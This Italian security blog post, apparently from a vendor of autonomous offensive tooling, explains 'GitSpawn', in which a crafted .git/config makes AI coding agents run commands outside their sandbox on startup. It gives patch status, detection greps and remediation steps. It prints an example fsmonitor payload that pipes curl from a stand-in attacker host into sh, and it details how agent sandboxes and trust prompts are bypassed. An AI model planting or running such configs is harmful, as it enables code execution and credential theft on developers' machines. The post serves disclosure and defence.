GitSpawn: un .git/config malevolo fa eseguire codice agli agenti AI di coding
GitSpawn: il .git/config di un repository può far eseguire codice d'attacco a Claude Code, Codex, Cursor e altri agenti AI di coding, fuori dalla sandbox e senza prompt.
La parte interessante di GitSpawn è dove il bug non è. Non è un jailbreak, non è una prompt injection, non è un testo avversariale che convince un modello a comportarsi male. È nel banale sottoprocesso che un agente AI di coding lancia nell'istante in cui apri una cartella: il git status che esegue per capire dove si trova, prima che tu abbia approvato qualcosa, dato fiducia al workspace o letto una sola riga di codice.
Il 1° settembre 2026 Manifold Security ha divulgato GitSpawn: otto falle su sette agenti AI di coding da riga di comando, in cui la configurazione Git di un repository può indicare un comando che l'agente esegue sulla tua macchina — come te, fuori dalla sandbox dell'agente, senza prompt di approvazione e senza nulla a schermo. The Hacker News ne ha scritto il giorno dopo, e OpenAI ha pubblicato lo stesso giorno i propri CVE per Codex. Quattro delle otto falle erano ancora senza patch alla pubblicazione.
"La vulnerabilità non è nel modello, né in qualcosa di nuovo. È nell'idraulica ordinaria sotto — il sottoprocesso che un agente lancia all'avvio della sessione per capire dove si trova." — Manifold Security
L'inquadratura conta, perché tutto il settore ha passato due anni a irrobustire il modello — refusal training, guardrail, filtri anti-injection — mentre gli agenti che avvolgono quei modelli chiamano git con il repository a tenere il volante.
Come GitSpawn trasforma una config git in esecuzione di codice
Git ha una funzione di performance chiamata core.fsmonitor. Invece di scandire l'intero working tree per trovare i file modificati, git può delegare il lavoro a un programma helper che tu indichi. Lo imposti una volta e ogni git status, git diff o refresh dell'indice esegue silenziosamente il tuo helper per rispondere a "cosa è cambiato?".
Il problema: core.fsmonitor viene letto dal .git/config locale del repository. Non è globale, non è a livello utente — viaggia con il repository. Quindi un repository può spedire questa riga:
[core]
fsmonitor = "/bin/sh -c 'curl https://attaccante.example/x | sh'"
Un agente AI di coding, all'avvio, esegue git status e git diff per costruire il contesto sul tuo working tree. Git aggiorna l'indice, vede l'impostazione fsmonitor ed esegue il comando dell'attaccante — con i tuoi privilegi, prima che l'agente ti abbia chiesto di fidarti di qualcosa.
core.fsmonitor è il sink più pulito, ma non l'unico. La stessa classe copre core.hooksPath (puntare gli hook a una directory controllata dall'attaccante) e il meccanismo dei content-filter di git — i comandi filter.<nome>.process, clean e smudge che partono quando git materializza i file tracciati. Manifold ha tenuto private le varianti complete finché i vendor spediscono ancora i percorsi non patchati. Lo schema è identico: una chiave di config il cui valore è un comando, letta da un punto che un repository non fidato controlla, innescata da un'operazione di routine che l'agente compie in automatico.
Non è un bug di git. Git si comporta esattamente come documentato. Il bug è che gli agenti AI di coding eseguono git contro repository non fidati prima della decisione di fiducia, ed ereditano ogni sink di esecuzione comandi che git espone. E nemmeno la classe è nuova: "aprire un repository esegue codice" parte da CVE-2014-5023 (Gitlist, metacaratteri di shell nel nome di un branch) e attraversa un decennio di RCE nelle estensioni degli IDE. Ciò che GitSpawn aggiunge è un agente autonomo che apre il repository al posto tuo, con foga, prima ancora che tu l'abbia guardato.
Perché la sandbox dell'agente AI di coding non lo intercetta
Gli agenti di coding moderni pubblicizzano sandbox: i comandi shell del modello girano in un ambiente vincolato, e le azioni distruttive richiedono la tua approvazione. GitSpawn le aggira in due modi.
Primo, la chiamata a git è housekeeping dell'agente, non un'azione del modello. La sandbox e il prompt di approvazione controllano ciò che il modello decide di fare. Leggere il working tree è ciò che l'agente fa per alimentare il modello. Quel sottoprocesso gira nel contesto proprio dell'agente — fuori dalla scatola che sorveglia i comandi iniziati dal modello.
Secondo, scatta prima che la fiducia esista. L'agente raccoglie contesto all'avvio della sessione per generare la prima risposta. "Ti fidi degli autori di questo workspace?" — il prompt che molti editor mostrano — appare dopo che l'agente ha già eseguito git status. Il codice dell'attaccante è già stato eseguito mentre il dialogo si stava ancora disegnando.
Il risultato è la peggiore proprietà che una sandbox possa avere: è presente, è pubblicizzata, e non copre il percorso che l'attaccante prende davvero. Uno sviluppatore che ragiona "l'agente è in sandbox, quindi aprire un repo per guardarlo è sicuro" ha tratto esattamente la conclusione sbagliata.
Il vettore da cui GitSpawn dipende: file, non clone
C'è un vincolo reale che impedisce a questo di diventare wormabile su GitHub, e vale la pena capirlo con precisione proprio perché ribalta l'intuizione normale.
git clone, fetch e pull non copiano il .git/config locale di un repository remoto. La config locale è, per design, locale. Quindi non puoi avvelenare qualcuno convincendolo a clonare il tuo repo — la riga malevola core.fsmonitor resta sulla tua macchina.
L'attacco funziona quando un repository arriva come file, con la directory .git intatta:
- uno
.zipo.tar.gzche un collega ti manda - un progetto su un drive condiviso o un NAS
- una cartella in una sync Dropbox / OneDrive / Syncthing
- un repo passato su una chiavetta USB
Ognuno di questi preserva .git/config alla lettera. E ognuno è un modo del tutto normale in cui gli sviluppatori si scambiano lavoro — "ecco il repo, è zippato nel canale". Il vettore non è esotico; è il modo in cui avviene metà dei passaggi di progetto interni. La lezione controintuitiva: un git clone da uno sconosciuto è qui più sicuro di uno .zip da un collega.
Chi ha la patch e chi no
Manifold ha ritestato gli agenti il 1° settembre 2026. Il tabellone, con i CVE assegnati finora:
| Agente | Vulnerabile fino a | Stato | CVE |
|---|---|---|---|
| goose | 1.41.0 | Corretto in 1.44.0 | CVE-2026-72718 |
Claude Code (core.fsmonitor) |
2.1.195 | Corretto in 2.1.196 | — |
| Claude Code (secondo percorso) | 2.1.252 | Senza patch al ritest | — |
| Cursor CLI | build testata | Corretto | — |
| Codex (OpenAI) | 0.130.0 / build desktop | Corretto in 0.131.0+ | CVE-2026-19592 (+2) |
| Hermes Agent | 0.21.0 | Senza patch (vendor non risponde) | CVE-2026-71963 |
| Qwen Code | 0.22.3 | Senza patch | — |
| Grok Build | 1.0.13 | Senza patch | — |
Due dettagli meritano attenzione. Manifold ha segnalato il percorso fsmonitor di Claude Code il 26 giugno ed è stato corretto in tre giorni — ma un secondo percorso di esecuzione comandi (via una funzione di review separata) era ancora attivo alla 2.1.252 al ritest, ed è per questo che "Claude Code è patchato" è vero solo a metà. E CVE-2026-71963 è stato assegnato a Hermes Agent solo dopo sei tentativi di contatto senza risposta — il classico fallimento della divulgazione coordinata verso un piccolo vendor.
Il raggio d'impatto non è tooling di nicchia. Manifold nota che i progetti coinvolti sommano oltre 470.000 stelle su GitHub, con il solo Claude Code a oltre 77 milioni di download npm al mese. Non è la precedente scoperta dello stesso team su Cursor CLI ad agosto, dove la CLI eseguiva codice di un worktree non fidato con la sandbox disattivata — GitSpawn è la versione generalizzata di quello stesso errore su tutta la categoria.
Remediation
Questo è il runbook. Conta perché il consiglio di sempre — "tieni aggiornati i tuoi strumenti" — chiude solo tre dei sette agenti.
Sono esposto?
Sei esposto se usi un qualsiasi agente di coding da CLI e apri repository che arrivano come file, non come clone. Controlla la versione dell'agente, e ispeziona ogni repo ricevuto come archivio/drive/USB prima di aprirlo:
# Versioni dei tuoi agenti
claude --version ; codex --version ; goose --version ; cursor --version
# Ispeziona un repo RICEVUTO PRIMA di aprirlo in un agente.
# Una qualsiasi di queste chiavi che porti un comando = non aprirlo.
git -C /percorso/repo/ricevuto config --local --list | \
grep -Ei 'fsmonitor|hookspath|filter\..*\.(process|clean|smudge)|sshcommand|pager|editor'
Leggi anche il file grezzo — git config --list può a sua volta innescare include in setup avversariali:
grep -nEi 'fsmonitor|hooksPath|process|clean|smudge|sshCommand' /percorso/repo/ricevuto/.git/config
Patch — versioni corrette esatte
Aggiorna alle build corrette, testuali dagli advisory:
- goose → 1.44.0 o successiva (CVE-2026-72718)
- Claude Code → 2.1.196+ chiude
core.fsmonitor; il secondo percorso è rimasto aperto alla 2.1.252, quindi tieni d'occhio il changelog e aggiorna con decisione - Codex → 0.131.0+ / build desktop patchate (CVE-2026-19592)
- Cursor CLI → ultima versione
- Hermes Agent, Qwen Code, Grok Build → nessuna fix alla pubblicazione. Trattali come insicuri verso i repo ricevuti.
Non puoi patchare subito? Controlli compensativi
- Neutralizza il sink globalmente. Rifiuta di leggere in automatico l'fsmonitor locale del repo fissandolo nella config globale:
Non impedisce a un repo di reimpostarlo localmente, ma combinato col controllo successivo restringe la finestra.git config --global core.fsmonitor false - Avvolgi l'agente perché non si fidi mai della config locale del repo. La fix lato vendor è raccogliere il contesto con
git -c core.fsmonitor=false -c core.hooksPath=/dev/null status. Puoi anteporre all'agente un alias di shell che inietta questi flag. - Esegui gli agenti dentro una sandbox vera, non quella pubblicizzata. Lancia l'agente in un container effimero o una microVM senza mount del filesystem host oltre al progetto, senza credenziali cloud ambientali, con egress filtrato. Se l'helper fsmonitor scatta, scatta contro un usa-e-getta senza nulla da rubare.
- Metti in quarantena i repo ricevuti. Stabilisci una regola: ai repository che arrivano come file si cancella e re-inizializza il
.git(rm -rf .git && git init) prima che un agente li tocchi. Questo elimina del tutto la config locale armata.
Cerca la compromissione
Mappa i segnali su MITRE ATT&CK e vai a cercare:
- T1546 (Event Triggered Execution) — il meccanismo centrale. Fai il grep del
.git/configdi ogni repo ricevuto perfsmonitor,hooksPathefilter.*.process/clean/smudgeche portino un valore-comando. - T1059 (Command and Scripting Interpreter) — controlla i processi figli del binario dell'agente (
claude,codex,goose, ecc.). Un processogitil cui genitore è l'agente, che lanciash/curl/bashproprio all'avvio della sessione, è il segno rivelatore. - T1195 (Supply Chain Compromise) — la consegna. Correla gli eventi "aperto un repo condiviso/zippato" con connessioni in uscita inattese dalla workstation nei secondi successivi.
- T1041 / T1071 (Exfiltration / C2 su web) — un'uscita mai vista verso un dominio o ASN mai contattato subito dopo l'apertura di un progetto è il segnale di massimo valore; il compito dell'helper fsmonitor è di solito telefonare a casa o scaricare uno stage.
Bonifica e verifica
Se trovi una config armata su una macchina che ha aperto il repo: assumi che il codice sia girato come utente. Ruota tutto ciò che quella workstation poteva raggiungere — chiavi SSH, token delle CLI cloud (~/.aws, ~/.config/gcloud), token di pubblicazione npm/PyPI, credenziali git e ogni .env nei progetti raggiungibili. Poi conferma la pulizia dopo aver rimosso la config: re-inizializza il .git del repo, ri-scansiona la telemetria dei processi figli dell'agente e verifica che non sia stata piantata nuova persistenza (cron, file rc della shell, hook git globali). Patchare senza ruotare lascia all'attaccante ciò che la prima esecuzione ha già esfiltrato.
Cosa significa per gli agenti offensivi autonomi
GitSpawn è un caso specifico di un problema generale, ed è il problema contro cui costruiamo ogni giorno: un agente AI è contenuto solo quanto il processo che lancia, non quanto il modello che esegue. Nel momento in cui un agente lancia un comando esterno — a git, a uno scanner, a un exploit — la domanda sul contenimento passa da "il modello ha rifiutato?" a "dove è girato quel sottoprocesso, e cosa poteva toccare?".
Zero Hunt gestisce un motore offensivo autonomo: uno sciame di 10 agenti che fa ricognizione, scrive codice di exploit per-target con un LLM locale, e lo esegue contro target reali. È esattamente la forma di software che GitSpawn punisce — un agente che lancia di continuo sottoprocessi non fidati e prossimi all'avversario. Per questo il modello di esecuzione è stato progettato proprio attorno a questo fallimento: ogni exploit e ogni invocazione di tool gira dentro un container Docker effimero, con hardening opzionale delle syscall via gVisor, e l'OS host dell'appliance è irrobustito così che gli attacchi — o un helper dirottato — non lo tocchino mai. Il container viene distrutto dopo l'esecuzione. Non esiste un contesto condiviso e persistente da cui una config avvelenata possa raggiungere una credenziale.
La seconda metà è la provenienza. Prima che una nuova skill offensiva giri in produzione, viene ritestata nell'AI Gym contro Vulhub, NYU CTF Bench e un corpus black-box di 314 CVE — così un comportamento che lancia un sottoprocesso inatteso viene colto in un ambiente sigillato, non sulla rete di un cliente. E ogni azione dello sciame è firmata ECDSA al momento della scrittura, così l'audit trail può rispondere a "cosa ha eseguito l'agente, esattamente?" — la domanda che ogni vittima di GitSpawn sta ora ponendo al proprio assistente di coding senza ottenere risposta.
La lezione va oltre la nostra appliance. Se stai schierando agenti che toccano input non fidati — e un repository che qualcuno ti ha mandato è input non fidato — la sandbox non è una casella di spunta sul modello. È il confine attorno a ogni processo che l'agente lancia. GitSpawn ha trovato sette team che hanno tracciato quel confine nel punto sbagliato. La remediation qui sopra lo chiude; l'architettura è ciò che lo tiene chiuso.